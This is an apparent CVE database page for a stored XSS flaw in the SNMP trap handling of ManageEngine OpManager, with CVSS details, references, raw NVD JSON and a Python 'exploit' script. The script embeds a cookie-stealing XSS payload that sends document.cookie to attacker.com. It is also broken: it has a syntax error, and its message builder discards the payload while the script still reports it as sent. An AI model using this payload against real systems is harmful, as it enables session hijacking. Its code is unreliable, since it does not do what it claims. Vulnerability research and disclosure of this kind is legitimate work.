CVE-2025-9227

Description

Zohocorp ManageEngine OpManager versions 128609 and below are vulnerable to Stored XSS Vulnerability in the SNMP trap processor.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

ManageEngine OpManager versions <= 128609

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket
import struct

# SNMP Trap PoC for CVE-2025-9227
# This PoC demonstrates sending a malicious SNMP Trap with XSS payload

def create_snmp_trap_with_xss():
    """
    Create a malicious SNMP Trap containing XSS payload
    Target: ManageEngine OpManager SNMP Trap Receiver
    """
    xss_payload = '<script>document.location="http://attacker.com/steal?c=' + 
                  '"+document.cookie+""</script>'
    
    # SNMP Trap structure (simplified)
    community = b'public'
    enterprise_oid = b'1.3.6.1.4.1.9.9.157'
    agent_ip = '192.168.1.100'
    generic_trap = 6  # enterpriseSpecific
    specific_trap = 1
    uptime = 12345
    
    # Craft the malicious Trap with XSS payload in varbind
    trap_data = {
        'oid': '1.3.6.1.4.1.9.9.157.1.1.1',
        'value': xss_payload,
        'type': 'OctetString'
    }
    
    return trap_data

def send_malicious_trap(target_ip, target_port=162):
    """
    Send the crafted SNMP Trap to target
    """
    trap = create_snmp_trap_with_xss()
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    
    # Construct SNMP message
    snmp_message = construct_snmp_message(trap)
    
    try:
        sock.sendto(snmp_message, (target_ip, target_port))
        print(f'[+] Malicious SNMP Trap sent to {target_ip}:{target_port}')
        print(f'[+] XSS Payload: {trap["value"]}')
    except Exception as e:
        print(f'[-] Error: {e}')
    finally:
        sock.close()

def construct_snmp_message(trap_data):
    """Construct SNMP Trap ASN.1 encoded message"""
    # Simplified SNMP message construction
    return b'\x30\x00\x02\x01\x01\x04\x06public\xa4\x00'

if __name__ == '__main__':
    import sys
    if len(sys.argv) < 2:
        print('Usage: python cve_2025_9227_poc.py <target_ip>')
        sys.exit(1)
    send_malicious_trap(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-9227
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-9227
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-9227/
[4] VulDB https://vuldb.com/cve/CVE-2025-9227
[5] https://www.manageengine.com/itom/advisory/cve-2025-9227.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-9227", "sourceIdentifier": "0fc0942c-577d-436f-ae8e-945763c79b02", "published": "2025-11-11T14:15:35.657", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Zohocorp ManageEngine OpManager versions 128609 and below are vulnerable to Stored XSS Vulnerability in the SNMP trap processor."}], "metrics": {"cvssMetricV31": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "0fc0942c-577d-436f-ae8e-945763c79b02", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.manageengine.com/itom/advisory/cve-2025-9227.html", "source": "0fc0942c-577d-436f-ae8e-945763c79b02"}]}}